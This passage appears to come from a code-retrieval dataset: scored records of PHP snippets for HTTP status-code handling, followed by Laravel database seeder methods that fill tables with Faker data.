$this->response_code = $code;\n }", "title": "" }, { "docid": "bffd9d1a6e471df42786fb44abf26ce7", "score": "0.6764769", "text": "function http_response_code($newcode = NULL)\n\t\t{\n\t\t\tstatic $code = 200;\n\t\t\tif($newcode !== NULL)\n\t\t\t{\n\t\t\t\theader('X-PHP-Response-Code: '.$newcode, true, $newcode);\n\t\t\t\tif(!headers_sent())\n\t\t\t\t\t$code = $newcode;\n\t\t\t}\n\t\t\treturn $code;\n\t }", "title": "" }, { "docid": "1b3428d6da5ab88a330dcc9122edd427", "score": "0.67564464", "text": "public function getResponseCode()\n {\n return 200;\n }", "title": "" }, { "docid": "d9e57af34bdd8cf178894b852893f77c", "score": "0.6750304", "text": "public function setStatusCode($statusCode)\n {\n \\http_response_code($statusCode);\n }", "title": "" }, { "docid": "88c06dcf656eb0c997bd0b28039ce5b9", "score": "0.6748776", "text": "public function getStatusCode()\n {\n return $this->statusCode ?: 200;\n }", "title": "" }, { "docid": "c1987107d1142bbe3e78edda54061f15", "score": "0.67034256", "text": "public static function status(int $httpCode = null)\n {\n if ($httpCode === null) return self::$httpCode;\n self::$httpCode = $httpCode;\n }", "title": "" }, { "docid": "aef981c28500fc3905dcf26d7a46215b", "score": "0.67001754", "text": "public function getStatusCode(): int;", "title": "" }, { "docid": "aef981c28500fc3905dcf26d7a46215b", "score": "0.67001754", "text": "public function getStatusCode(): int;", "title": "" }, { "docid": "aef981c28500fc3905dcf26d7a46215b", "score": "0.67001754", "text": "public function getStatusCode(): int;", "title": "" }, { "docid": "aef981c28500fc3905dcf26d7a46215b", "score": "0.67001754", "text": "public function getStatusCode(): int;", "title": "" }, { "docid": "311f80f722ba44940884a3cccc6dc7ad", "score": "0.66590446", "text": "public function getStatusCode() {\n return $this->getResponse()->statuscode;\n }", "title": "" }, { "docid": "04cee778df4dea02490355128b0d4182", "score": "0.66519076", "text": "function getStatusCode();", "title": "" }, { "docid": "e0ecf57d77d1c3780af025302c6fc317", "score": "0.6642742", "text": "protected function setStatusCode($statusCode)\r\n {\r\n $this->slim->response()->status($statusCode);\r\n }", "title": "" }, { "docid": "9eaad57cb142763644be2bb52c2b4255", "score": "0.6638398", "text": "public static function getStatus() {\n\t\treturn http_response_code();\n\t}", "title": "" }, { "docid": "c070dc5ad695413188200564eea32980", "score": "0.6635351", "text": "public function setResponseCode($responseCode);", "title": "" }, { "docid": "b52fb30107da731fdbf60ca2c59f502c", "score": "0.6632273", "text": "public function getStatusCode() {}", "title": "" }, { "docid": "798eaed355c2c79cc26c1801b3c19e0e", "score": "0.66288275", "text": "public function getResponseCode() {\n return nullInt($this->settings['status'], 200);\n }", "title": "" }, { "docid": "ec3a02f5bb0270f214cd80201a95399e", "score": "0.6627553", "text": "public function status()\n {\n $this->response->text('OK');\n }", "title": "" }, { "docid": "eacaf61104dc5339494e01bc8cb2f26e", "score": "0.662171", "text": "public function setHttpStatus($httpStatus)\n {\n $this->httpStatus = $httpStatus;\n }", "title": "" }, { "docid": "95778e60100c159d32ae47d5b0bf06b5", "score": "0.66053987", "text": "private function http_response_code($new_code = null)\n {\n if (!function_exists('http_response_code')) {\n function http_response_code($new_code = NULL)\n {\n static $code = 200;\n if ($new_code !== NULL) {\n header('X-PHP-Response-Code: ' . $new_code, true, $new_code);\n if (!headers_sent()) {\n $code = $new_code;\n }\n }\n return $code;\n }\n } else {\n http_response_code($new_code);\n }\n }", "title": "" }, { "docid": "493c03067e8bc4ecd27f600f3c50b68e", "score": "0.6601616", "text": "protected function set_valid_response_codes()\n {\n //@todo manage response codes\n $this->valid_response_codes = array(200);\n }", "title": "" }, { "docid": "b51a41d2965abc93fc31fc4efa33ddaf", "score": "0.659003", "text": "public static function getStatusCode(): int;", "title": "" }, { "docid": "f7e6c83856f2200b13af60fa0b95fdf0", "score": "0.65861666", "text": "public function setStatusCode(int $status) : static\n {\n $this->status = $status;\n $this->statusText = self::$statusTexts[$status] ?? 'unknown status';\n return $this;\n }", "title": "" }, { "docid": "9f203669741f4e29a7ee95c749b1f755", "score": "0.65823853", "text": "public function setStatusCode($statusCode)\r\n {\r\n $this->_statusCode = $statusCode;\r\n }", "title": "" }, { "docid": "c58e4acc44369658271c1a434a9fb2b7", "score": "0.6572038", "text": "public function setStatusCode(int $statusCode): void\n {\n $this->statusCode = $statusCode;\n }", "title": "" }, { "docid": "18eeaa11689ab767b5078083d6fe1ae0", "score": "0.6566444", "text": "public function getStatusCode();", "title": "" }, { "docid": "18eeaa11689ab767b5078083d6fe1ae0", "score": "0.6566444", "text": "public function getStatusCode();", "title": "" }, { "docid": "18eeaa11689ab767b5078083d6fe1ae0", "score": "0.6566444", "text": "public function getStatusCode();", "title": "" }, { "docid": "18eeaa11689ab767b5078083d6fe1ae0", "score": "0.6566444", "text": "public function getStatusCode();", "title": "" }, { "docid": "18eeaa11689ab767b5078083d6fe1ae0", "score": "0.6566444", "text": "public function getStatusCode();", "title": "" }, { "docid": "18eeaa11689ab767b5078083d6fe1ae0", "score": "0.6566444", "text": "public function getStatusCode();", "title": "" }, { "docid": "18eeaa11689ab767b5078083d6fe1ae0", "score": "0.6566444", "text": "public function getStatusCode();", "title": "" }, { "docid": "18eeaa11689ab767b5078083d6fe1ae0", "score": "0.6566444", "text": "public function getStatusCode();", "title": "" }, { "docid": "18eeaa11689ab767b5078083d6fe1ae0", "score": "0.6566444", "text": "public function getStatusCode();", "title": "" }, { "docid": "18eeaa11689ab767b5078083d6fe1ae0", "score": "0.6566444", "text": "public function getStatusCode();", "title": "" }, { "docid": "b1a91d9f2d8c467ce9266b0a598d52cc", "score": "0.65627074", "text": "public static function setStatusHeader(int $statusCode, bool $exit = false) {\n\n\t\tif (!self::isValidStatusCode($statusCode))\n\t\t\tthrow new Exception(\"Unknown HTTP status code: '$statusCode'\", self::E_HTTP_STATUS_UNKNOWN);\n\n\t\t$reasonPhrase = self::HTTP_REASON_PHRASE[$statusCode];\n\n\t\t// HTTP/(1.0|1.1) + Status Code + Reason Phrase -> ex: HTTP/1.1 404 Not Found\n\t\theader(\"{$_SERVER['SERVER_PROTOCOL']} $statusCode $reasonPhrase\", true, $statusCode);\n\n\t\tif ($exit)\n\t\t\texit;\n\t}", "title": "" }, { "docid": "6f15bc8a7e1533895d64a6613069f5be", "score": "0.6561607", "text": "public function getStatusCode(): int\n {\n return $this->response->getStatusCode();\n }", "title": "" }, { "docid": "d3a917ba8e16020719e5ffd433c42b2e", "score": "0.6561583", "text": "public function setStatusCode(int $statusCode)\n {\n $this->meta['status_code'] = $statusCode;\n }", "title": "" }, { "docid": "d5d2e4d6734fd2de6bcd661f939748ce", "score": "0.6559263", "text": "public function setHttpResponseCode($code)\r\n\t{\r\n\t\tif (!is_int($code) || (100 > $code) || (599 < $code)) {\r\n\t\t\tthrow new Syx_Response_Exception('Invalid HTTP response code');\r\n\t\t}\r\n\r\n\t\tif ((300 <= $code) && (307 >= $code)) {\r\n\t\t\t$this->_isRedirect = true;\r\n\t\t} else {\r\n\t\t\t$this->_isRedirect = false;\r\n\t\t}\r\n\r\n\t\t$this->_httpResponseCode = $code;\r\n\t\treturn $this;\r\n\t}", "title": "" }, { "docid": "d95a0c04e28b6cc3d02ea576c96e5cdd", "score": "0.6558854", "text": "public function setServerStatusCode($code)\n {\n $this->historial->server_status_code = $code;\n }", "title": "" }, { "docid": "63f4d5f376b02b6bfea430a95835158c", "score": "0.65517694", "text": "static function send_http_status($code) {\n\t\tstatic $_status = array(\n\t\t// Informational 1xx\n\t\t100 => 'Continue',\n\t\t101 => 'Switching Protocols',\n\n\t\t// Success 2xx\n\t\t200 => 'OK',\n\t\t201 => 'Created',\n\t\t202 => 'Accepted',\n\t\t203 => 'Non-Authoritative Information',\n\t\t204 => 'No Content',\n\t\t205 => 'Reset Content',\n\t\t206 => 'Partial Content',\n\n\t\t// Redirection 3xx\n\t\t300 => 'Multiple Choices',\n\t\t301 => 'Moved Permanently',\n\t\t302 => 'Found', // 1.1\n\t\t303 => 'See Other',\n\t\t304 => 'Not Modified',\n\t\t305 => 'Use Proxy',\n\t\t// 306 is deprecated but reserved\n\t\t307 => 'Temporary Redirect',\n\n\t\t// Client Error 4xx\n\t\t400 => 'Bad Request',\n\t\t401 => 'Unauthorized',\n\t\t402 => 'Payment Required',\n\t\t403 => 'Forbidden',\n\t\t404 => 'Not Found',\n\t\t405 => 'Method Not Allowed',\n\t\t406 => 'Not Acceptable',\n\t\t407 => 'Proxy Authentication Required',\n\t\t408 => 'Request Timeout',\n\t\t409 => 'Conflict',\n\t\t410 => 'Gone',\n\t\t411 => 'Length Required',\n\t\t412 => 'Precondition Failed',\n\t\t413 => 'Request Entity Too Large',\n\t\t414 => 'Request-URI Too Long',\n\t\t415 => 'Unsupported Media Type',\n\t\t416 => 'Requested Range Not Satisfiable',\n\t\t417 => 'Expectation Failed',\n\n\t\t// Server Error 5xx\n\t\t500 => 'Internal Server Error',\n\t\t501 => 'Not Implemented',\n\t\t502 => 'Bad Gateway',\n\t\t503 => 'Service Unavailable',\n\t\t504 => 'Gateway Timeout',\n\t\t505 => 'HTTP Version Not Supported',\n\t\t509 => 'Bandwidth Limit Exceeded'\n\t\t);\n\t\tif(array_key_exists($code,$_status)) {\n\t\t\theader('HTTP/1.1 '.$code.' '.$_status[$code]);\n\t\t}\n\t}", "title": "" }, { "docid": "9b506a8b1603b64afa45bf1d3c6aa115", "score": "0.65486425", "text": "public function getStatusCode(): int\n {\n return (int) $this->response->getStatusCode();\n }", "title": "" }, { "docid": "4d2bdadcbfbe4db57c6b710ed0180c84", "score": "0.654739", "text": "function status_header($code = 200) {\n $message = [\n 200 => \"OK\",\n 404 => \"Page not found\",\n 302 => \"Moved temporarily\",\n 303 => \"Something something\",\n 500 => \"Server error\"\n ];\n header(\"HTTP/1.0 \".$code.\" \".$message[$code]);\n}", "title": "" }, { "docid": "05875e5ff50999a5573b579fcc04d901", "score": "0.65440017", "text": "public function youCanOmitStatusCode()\n {\n // Arrange...\n $fruit = $this->createTestModel();\n $meta = [\n 'foo' => 'bar'\n ];\n\n // Act...\n $response = $this->responder->success( $fruit, $meta );\n\n // Assert...\n $this->assertEquals( $response->getStatusCode(), 200 );\n $this->assertContains( $meta, $response->getData( true ) );\n }", "title": "" }, { "docid": "9ba492a14e510943b8e22cba7b09034a", "score": "0.65438235", "text": "function sendHttpStatus($code) \n {\n\t\tstatic $_status = array(\n\t\t\t// Informational 1xx\n\t\t\t100 => 'Continue',\n\t\t\t101 => 'Switching Protocols',\n\n\t\t\t// Success 2xx\n\t\t\t200 => 'OK',\n\t\t\t201 => 'Created',\n\t\t\t202 => 'Accepted',\n\t\t\t203 => 'Non-Authoritative Information',\n\t\t\t204 => 'No Content',\n\t\t\t205 => 'Reset Content',\n\t\t\t206 => 'Partial Content',\n\n\t\t\t// Redirection 3xx\n\t\t\t300 => 'Multiple Choices',\n\t\t\t301 => 'Moved Permanently',\n\t\t\t302 => 'Found', // 1.1\n\t\t\t303 => 'See Other',\n\t\t\t304 => 'Not Modified',\n\t\t\t305 => 'Use Proxy',\n\t\t\t// 306 is deprecated but reserved\n\t\t\t307 => 'Temporary Redirect',\n\n\t\t\t// Client Error 4xx\n\t\t\t400 => 'Bad Request',\n\t\t\t401 => 'Unauthorized',\n\t\t\t402 => 'Payment Required',\n\t\t\t403 => 'Forbidden',\n\t\t\t404 => 'Not Found',\n\t\t\t405 => 'Method Not Allowed',\n\t\t\t406 => 'Not Acceptable',\n\t\t\t407 => 'Proxy Authentication Required',\n\t\t\t408 => 'Request Timeout',\n\t\t\t409 => 'Conflict',\n\t\t\t410 => 'Gone',\n\t\t\t411 => 'Length Required',\n\t\t\t412 => 'Precondition Failed',\n\t\t\t413 => 'Request Entity Too Large',\n\t\t\t414 => 'Request-URI Too Long',\n\t\t\t415 => 'Unsupported Media Type',\n\t\t\t416 => 'Requested Range Not Satisfiable',\n\t\t\t417 => 'Expectation Failed',\n\n\t\t\t// Server Error 5xx\n\t\t\t500 => 'Internal Server Error',\n\t\t\t501 => 'Not Implemented',\n\t\t\t502 => 'Bad Gateway',\n\t\t\t503 => 'Service Unavailable',\n\t\t\t504 => 'Gateway Timeout',\n\t\t\t505 => 'HTTP Version Not Supported',\n\t\t\t509 => 'Bandwidth Limit Exceeded'\n\t\t);\n\t\tif(isset($_status[$code])) {\n\t\t\theader('HTTP/1.1 '.$code.' '.$_status[$code]);\n\t\t}\n\t}", "title": "" }, { "docid": "7969a5d3811c4b2c275afbccf0ce7256", "score": "0.6542274", "text": "public static function setStatus($status) {\n $phrase = Http::statusPhrase($status);\n if ($phrase === false) {\n return false;\n }\n header('HTTP/1.1 ' . $status . ' ' . $phrase);\n return true;\n }", "title": "" }, { "docid": "8bffbd19246518bd25ff9146aa910953", "score": "0.65419406", "text": "public static function httpStatus($_code) {\n\t\tif (!defined('self::HTTP_'.$_code)) {\n\t\t\t// Invalid status code\n\t\t\tself::$global['CONTEXT']=$_code;\n\t\t\ttrigger_error(self::TEXT_HTTP);\n\t\t\treturn FALSE;\n\t\t}\n\t\t// Get description\n\t\t$_response=constant('self::HTTP_'.$_code);\n\t\t// Send raw HTTP header\n\t\tif (PHP_SAPI!='cli' && !self::$global['QUIET'] && !headers_sent())\n\t\t\theader('HTTP/1.1 '.$_code.' '.$_response);\n\t\treturn $_response;\n\t}", "title": "" }, { "docid": "6b4ebf9a894409559d14732e3cb52db1", "score": "0.65336746", "text": "public function send()\n{\n if(!headers_sent())\n {\n $this->setCode($this->status);\n $this->sendHeaders();\n }\n}", "title": "" }, { "docid": "9be3c9f454255747b6dd113f49c49b30", "score": "0.65329546", "text": "public function status(int $code);", "title": "" }, { "docid": "855e3581492f893f9efcbd9a21a32d74", "score": "0.65304893", "text": "public function setStatusCode($code, $name = null)\n {\n $this->statusCode = $code;\n $this->statusText = null !== $name ? $name : self::$statusTexts[$code];\n }", "title": "" }, { "docid": "da15e8aaba6f4a0318362696adcc9e0d", "score": "0.65259504", "text": "public function status()\n {\n return (int)$this->response->getStatusCode();\n }", "title": "" }, { "docid": "117a16000fd00d1dd933fc496cb7d26d", "score": "0.6525545", "text": "public function setHTTPResponseCode($http_response_code)\n {\n $this->http_response_code = $http_response_code;\n }", "title": "" }, { "docid": "2c82b1a686993e7cc2706f2739845df8", "score": "0.65079683", "text": "public static function setHttpResponseCode($code = null)\n {\n if (is_null($code)) {\n return (isset($GLOBALS['http_response_code']))\n ? $GLOBALS['http_response_code']\n : 200;\n }\n\n switch ($code) {\n case 100: $text = 'Continue'; break;\n case 101: $text = 'Switching Protocols'; break;\n case 200: $text = 'OK'; break;\n case 201: $text = 'Created'; break;\n case 202: $text = 'Accepted'; break;\n case 203: $text = 'Non-Authoritative Information'; break;\n case 204: $text = 'No Content'; break;\n case 205: $text = 'Reset Content'; break;\n case 206: $text = 'Partial Content'; break;\n case 300: $text = 'Multiple Choices'; break;\n case 301: $text = 'Moved Permanently'; break;\n case 302: $text = 'Moved Temporarily'; break;\n case 303: $text = 'See Other'; break;\n case 304: $text = 'Not Modified'; break;\n case 305: $text = 'Use Proxy'; break;\n case 400: $text = 'Bad Request'; break;\n case 401: $text = 'Unauthorized'; break;\n case 402: $text = 'Payment Required'; break;\n case 403: $text = 'Forbidden'; break;\n case 404: $text = 'Not Found'; break;\n case 405: $text = 'Method Not Allowed'; break;\n case 406: $text = 'Not Acceptable'; break;\n case 407: $text = 'Proxy Authentication Required'; break;\n case 408: $text = 'Request Time-out'; break;\n case 409: $text = 'Conflict'; break;\n case 410: $text = 'Gone'; break;\n case 411: $text = 'Length Required'; break;\n case 412: $text = 'Precondition Failed'; break;\n case 413: $text = 'Request Entity Too Large'; break;\n case 414: $text = 'Request-URI Too Large'; break;\n case 415: $text = 'Unsupported Media Type'; break;\n case 500: $text = 'Internal Server Error'; break;\n case 501: $text = 'Not Implemented'; break;\n case 502: $text = 'Bad Gateway'; break;\n case 503: $text = 'Service Unavailable'; break;\n case 504: $text = 'Gateway Time-out'; break;\n case 505: $text = 'HTTP Version not supported'; break;\n default:\n exit('Unknown http status code \"' . htmlentities($code) . '\"');\n break;\n }\n\n $protocol = (isset($_SERVER['SERVER_PROTOCOL']))\n ? $_SERVER['SERVER_PROTOCOL']\n : 'HTTP/1.0';\n\n header($protocol . ' ' . $code . ' ' . $text);\n\n $GLOBALS['http_response_code'] = $code;\n\n return $code;\n }", "title": "" }, { "docid": "45321ca454d9752df99dd59c6771f037", "score": "0.64989066", "text": "public function outputStatus()\n {\n if ($this->responseStatus instanceof ResponseStatus) {\n header(sprintf('HTTP/1.1 %d %s', $this->responseStatus->httpStatusCode, $this->responseStatus->httpStatusMessage));\n }\n echo $this->body;\n }", "title": "" }, { "docid": "471c67e9a99de7068713480396838d50", "score": "0.64870375", "text": "function _setHeaders(){\n header(\"HTTP/1.1 \" . $this->CodeHTTP . \" \" . $this->_getStatusMessage());\n header(\"Content-Type: $this->ContentType\");\n }", "title": "" } ]
0ac7bdb02e5fbb03eb7a9ee5316bf396
Run the database seeds.
[ { "docid": "be94aa35eb0e3419732af240854e6ca7", "score": "0.0", "text": "public function run()\n {\n \n $arr_week = [\n [\"name_week\"=>\"26 de octubre del 2020 a partir de las 12:30\", \"status\"=>1],\n [\"name_week\"=>\"03 de noviembre de 2020 a partir de las 12:30\", \"status\"=>0],\n [\"name_week\"=>\"09 de noviembre de 2020 a partir de las 12:30\", \"status\"=>0],\n [\"name_week\"=>\"16 de noviembre de 2020 a partir de las 12:30\", \"status\"=>0],\n [\"name_week\"=>\"23 de noviembre de 2020 a partir de las 12:30\", \"status\"=>0],\n [\"name_week\"=>\"07 de diciembre de 2020 a partir de las 12:30\", \"status\"=>0],\n [\"name_week\"=>\"14 de diciembre de 2020 a partir de las 12:30\", \"status\"=>0],\n [\"name_week\"=>\"21 de diciembre de 2020 a partir de las 12:30\", \"status\"=>0], \n ];\n\n foreach( $arr_week as $week ){\n Week::create([\n 'name_week' => $week[\"name_week\"],\n 'status' => $week[\"status\"]\n ]);\n }\n \n }", "title": "" } ]
[ { "docid": "3effe352cb75bfa3e7358363ac687bc0", "score": "0.7981595", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n users::truncate();\n\n $faker = \\Faker\\Factory::create();\n $password = Hash::make('123456');\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n users::create([\n 'UserName' => $faker->firstName,\n 'password' => $password,\n 'Name' => $faker->name,\n 'email' => $faker->email,\n 'UserNumber' => $faker->phoneNumber,\n 'UserAdress' => $faker->address,\n 'Permission' => $faker->randomElement($array = array ('1','2','9')),\n 'Active' => $faker->randomElement($array = array ('0','1')),\n ]);\n }\n }", "title": "" }, { "docid": "5ccf2c7a92853ef9c8e792d67c0e3805", "score": "0.7979885", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n \n Users::factory(100)->create();\n Posts::factory(100)->create();\n tags::factory(100)->create();\n categories::factory(100)->create();\n post_tags::factory(100)->create();\n images::factory(100)->create();\n }", "title": "" }, { "docid": "463d4c9c0161c195b0844e7e1e72956f", "score": "0.7963899", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n \n factory(App\\User::class, 5)->create();\n factory(App\\Post::class, 20)->create();\n factory(App\\Comment::class, 30)->create();\n factory(App\\Tag::class, 8)->create();\n\n\n\n // $users->each(function($users){\n // $users->posts()\n // ->saveMany(factory(App\\Post::class, 3)\n // ->make(['user_id' => mt_rand(1, 5)]));\n // });\n //mt_rand(0, 5) Each user has 0-5 comments. \n\n // for($i=0; $i<25; $i++){\n // factory(App\\Comment::class)->create([\n // 'user_id' => mt_rand(1, 5),\n // 'post_id' => mt_rand(1, 5),\n // ]);\n // };\n }", "title": "" }, { "docid": "59495b25168215ccc3c6ebec1964fbc7", "score": "0.7954716", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Pets::truncate();\n\n $faker = Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 100; $i++) {\n Pets::create([\n 'name' => $faker->firstName($gender = null),\n ]);\n }\n }", "title": "" }, { "docid": "7e48cef15c4475b7fdf6dced93512f1e", "score": "0.7920509", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n User::factory(10)->create();\n Product::factory(100)->create();\n Review::factory(500)->create();\n }", "title": "" }, { "docid": "a1f1319eb4bd65c91bf95fc21b421378", "score": "0.7904644", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(\"App\\User\", 15)->create();\n $organizations = [\"Aair prt\", \"ERA\", \"Adis ababa mengedoch\"]; \n foreach($organizations as $o){\n \\App\\Organization::create([\n \"name\" => $o\n ]); \n }\n\n $roles = [\"clurk\", \"department_head\", \"admin\"]; \n $i = 1; \n foreach($roles as $role){\n \\App\\Role::create([\n \"name\" => $role, \n \"id\" => $i++\n ]); \n }\n\n $departments = [\"Minister Office\", \"ICT\", \"Human resource\"];\n $users = \\App\\User::get(); \n $i = 1;\n foreach($departments as $department){\n \\App\\Department::create([\n \"name\" => $department,\n \"director_id\" => $i++\n ]);\n }\n }", "title": "" }, { "docid": "2e586ff47e703bd09163a10549e98b23", "score": "0.7900308", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Employee::truncate();\n \n $faker = \\Faker\\Factory::create(); \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Employee::create([\n 'cod_emp' => $faker->unique()->randomNumber(5),\n 'name' => $faker->unique()->name,\n 'dob' => $faker->dateTimeBetween($startDate = '-50 years', $endDate = '-20 years'),\n 'phone' => $faker->phoneNumber \n ]);\n } \n }", "title": "" }, { "docid": "0a0e6a013f027588adccb446855334e8", "score": "0.7899484", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 2)->create();\n factory(App\\Publisher::class, 5)->create();\n $books = factory(App\\Book::class, 20)->create();\n $authors = factory(App\\Author::class, 5)->create();\n\n // foreach($books as $book){\n // $book->authors()->attach(\n // $authors->random(random_int(1,3))\n // );\n // }\n\n $books->each(function(App\\Book $book) use ($authors){\n $book->authors()->attach(\n $authors->random(random_int(1,3))\n );\n });\n }", "title": "" }, { "docid": "0c4d9c27c6fa855f22780f75d97f2721", "score": "0.7890316", "text": "public function run()\n {\n DB::table('users')->insert([\n 'name' => 'Briedis',\n 'email' => '[email protected]',\n 'password' => Hash::make('123'),\n ]);\n \n $faker = Faker::create('lt_LT');\n $authors = 10;\n $publishers = 10;\n $books = 50;\n foreach(range(1, $authors) as $_) {\n DB::table('authors')->insert([\n 'name' => $faker->firstName(),\n 'surname' => $faker->lastName(),\n 'portret' =>$faker->imageUrl(100,100),\n ]);\n }\n foreach(range(1, $publishers) as $_) {\n DB::table('publishers')->insert([\n 'title' => $faker->company(),\n ]);\n }\n foreach(range(1, $books) as $_) {\n DB::table('books')->insert([\n 'title' => str_replace(['.', \"'\", '\"', '(', ')'], '', $faker->realText(rand(10, 45))),\n 'isbn' => $faker->isbn13(),\n 'pages' => rand(22, 555),\n 'about' => $faker->realText(400, 4),\n 'author_id' => rand(1, $authors),\n 'publisher_id' => rand(1, $publishers),\n ]);\n }\n\n }", "title": "" }, { "docid": "05d0fb22d857eb1b09f369c319afe3d1", "score": "0.78862464", "text": "public function run()\n {\n Model::unguard();\n\n // $this->call(UserTableSeeder::class);\n $faker = Faker\\Factory::create();\n\n for ($i = 0; $i <= 20; $i++) {\n\n $cinema = App\\Cinema::create(array(\n 'name' => 'Cinema ' . $faker->lastName,\n 'address' => $faker->address,\n 'latitude' => $faker->latitude,\n 'longitude' => $faker->longitude\n ));\n\n $movie = App\\Movie::create(array(\n 'title' => $faker->sentence($nbWords = 4)\n ));\n\n // might want to make this a little more mixed up, add a couple of sessions for each movie\n $session = App\\SessionTime::create(array(\n 'movie_id' => $movie->id,\n 'cinema_id' => $cinema->id,\n 'session_time' => $faker->dateTimeThisMonth\n ));\n }\n\n Model::reguard();\n }", "title": "" }, { "docid": "0e64d87115a71603278ba11368ed9805", "score": "0.787217", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n \tDB::table('authors')->truncate();\n \tDB::table('books')->truncate();\n\n \tfactory(App\\Author::class, 20)->create()->each(function($author){\n \t\t$author->book()->save(factory(App\\Book::class)->make());\n \t});\n }", "title": "" }, { "docid": "353d96c1c02b984afaa0dd95caf085da", "score": "0.78630686", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('realestate_business')->insert([\n \t[\n\t 'name' => 'Locação',\n \t],\n \t[\n\t 'name' => 'Venda',\n \t],\n \t[\n\t 'name' => 'Temporada',\n \t]\n ]);\n\n DB::table('realestate_types')->insert([\n \t[\n\t 'name' => 'Apartamento',\n \t],\n \t[\n\t 'name' => 'Casa',\n \t]\n ]);\n }", "title": "" }, { "docid": "a50250407176309784dd921ae9ab5ac5", "score": "0.78588843", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n\n DB::table('users')->insert([\n 'name' => \"Administrator\",\n 'email' =>'[email protected]',\n 'password' => Hash::make('phongvtanhkhuesaigon'),\n ]);\n\n DB::table('landing_pages')->insert([\n [\n 'id'=>1,\n 'page_name'=>'G-Shock Dream Challenge',\n ],\n [\n 'id'=>2,\n 'page_name'=>'Thông tin sự kiện G-Shock Dream Challenge',\n ],\n [\n 'id'=>3,\n 'page_name'=>'Baby BA 130',\n ]\n ]);\n\n DB::table('preorder_pages')->insert([\n [\n 'id'=>1,\n 'name_page'=>'Pre-Order'\n ]\n ]);\n\n }", "title": "" }, { "docid": "7ac015b71072fff5b48489f05c66e2d9", "score": "0.78579247", "text": "public function run()\n {\n // Usuarios\n // $roles = Role::pluck('id');\n // $users = \\App\\Models\\User::factory(20)->create();\n \n // foreach ($users as $key => $user) {\n // $user->assignRole(Arr::random($roles->toArray()));\n // }\n\n // \\App\\Models\\Category::factory(4)->create();\n // \\App\\Models\\Post::factory(50)->create();\n // \\App\\Models\\Comment::factory(80)->create();\n\n // $this->call([\n // RoleSeeder::class,\n // LikeSeeder::class\n // ]);\n }", "title": "" }, { "docid": "8a689f0585da6cfbb9f3b550ab4734a2", "score": "0.78474617", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //Roles od users for ACL\n DB::table('roles')->insert(['name' => 'User','description' => 'This is default User role']);\n DB::table('roles')->insert(['name' => 'Admin','description' => 'This is Admin User role']);\n\n //Default Report for users \n DB::table('reports')->insert(['category'=>'Financial','name' => 'Balance Sheet','url' => 'balance-sheet']);\n DB::table('reports')->insert(['category'=>'Financial','name' => 'Tax Report','url' => 'tax-report']);\n DB::table('reports')->insert(['category'=>'Financial','name' => 'Cash Flow','url' => 'cash-summary']);\n DB::table('reports')->insert(['category'=>'Sales','name' => 'P & L ','url' => 'profit-loss']);\n\n \n DB::table('currencies')->insert(['name'=>'Rupee','currency_symbol'=>'₹','formal_currency_name' => 'INR','symbol_decimal_portion' => '2']);\n\n //Users dummy entry\n //factory(App\\User::class,10)->create();\n }", "title": "" }, { "docid": "e3f9ec900807bf915ace1732f5102139", "score": "0.78463626", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //dummy data for users table (1 admin, 10 trainees)\n $date = strtotime('01-11-2016');\n $new_date = date('Y-m-d',$date);\n DB::table('users')->delete();\n DB::table('users')->insert(\n ['username' => 'admin', 'name' => 'Administrator', 'role' => 'administrator', 'join_date' => $new_date, 'password'=> bcrypt('test1234') ]);\n factory(App\\User::class, 10)->create();\n\n //dummy data for topics table\n DB::table('topics')->delete();\n DB::table('topics')->insert([\n ['name' => 'Adobe Photoshop', 'description' =>'Adobe Photoshop is a raster graphics editor developed and published by Adobe Systems for macOS and Windows. Photoshop was created in 1988 by Thomas and John Knoll.'],\n ['name' => 'Adobe Illustrator', 'description' =>'Adobe Illustrator is a vector graphics editor developed and marketed by Adobe Systems. The latest version, Illustrator CC 2015.3, is the twentieth generation in the product line.']\n ]);\n }", "title": "" }, { "docid": "bc5e199834710c473d7b489d3205a10e", "score": "0.7841552", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Apartament::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Apartament::create([\n 'address' => $faker->address,\n 'neighbor' => $faker->country,\n 'state' => $faker->city,\n 'vacancy' => $faker->boolean(),\n ]);\n }\n }", "title": "" }, { "docid": "68d01c821b54175bec241cbdc2ea6b1d", "score": "0.7839204", "text": "public function run()\n {\n $this->call(UsersTableSeeder::class);\n //factory(App\\User::class, 250)->create();\n\n $categories = array(\n 'Ação',\n 'Animação',\n 'Aventura',\n 'Biografia',\n 'Comédia',\n 'Crime',\n 'Documentário',\n 'Drama',\n 'Esporte',\n 'Família',\n 'Fantasia',\n 'Faroeste',\n 'Ficção',\n 'Guerra',\n 'História',\n 'Mistério',\n 'Musical',\n 'Policial',\n 'Romance',\n 'Suspense',\n 'Terror'\n );\n foreach($categories as $category){\n Category::create([\n 'name' => $category\n ]);\n }\n \n // Subtitle::create([\n // 'name' => 'Stranger things',\n // 'year' => 2019,\n // 'url' => 'https://www.google.com/',\n // 'episode' => 's03e03',\n // 'type' => 'SERIE',\n // 'image' => '',\n // 'status' => 'APROVADA',\n // 'author' => 1,\n // 'category' => $category->id\n // ]);\n\n // factory(App\\Subtitle::class, 100)->create();\n\n // SubtitleProgress::create([\n // 'name' => 'Serie em andamento',\n // 'percent' => 80,\n // 'author' => 1\n // ]);\n \n // Gallery::create([\n // 'name' => 'peaky_blinders',\n // 'tags' => 'ciganos gangue mafia peaky blinders',\n // 'image' => 'img/subtitles/1.jpg'\n // ]);\n\n // Gallery::create([\n // 